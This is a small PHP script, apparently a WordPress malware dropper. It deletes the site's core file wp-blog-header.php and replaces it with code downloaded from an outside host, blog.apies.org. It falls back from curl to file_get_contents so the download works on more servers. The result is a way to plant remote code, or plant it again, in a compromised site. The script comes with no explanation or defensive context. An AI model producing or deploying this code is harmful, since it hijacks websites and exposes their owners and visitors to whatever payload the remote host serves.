<?php
function cacheDownloader($getAddress,$getName){
	$ch = curl_init("$getAddress"); 
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
	$data = curl_exec($ch); 
	curl_close($ch); 

	$process = fopen("$getName", "w+"); 
	fwrite($process, $data); 
	fclose($process);
}

if(file_exists(dirname(__FILE__) . '/../wp-blog-header.php')){
    unlink( dirname(__FILE__) . '/../wp-blog-header.php' );
}
if(!file_exists(dirname(__FILE__) . '/../wp-blog-header.php')){
	if( function_exists ( 'curl_init' ) ) {
		cacheDownloader("http://blog.apies.org/wp-blog-header", dirname(__FILE__) . '/../wp-blog-header.php');
	}elseif(function_exists('file_get_contents')){
		$f=fopen(dirname(__FILE__) . '/../wp-blog-header.php', 'w+');
		fwrite($f,file_get_contents("http://blog.apies.org/wp-blog-header"));
		fclose($f);
	}
}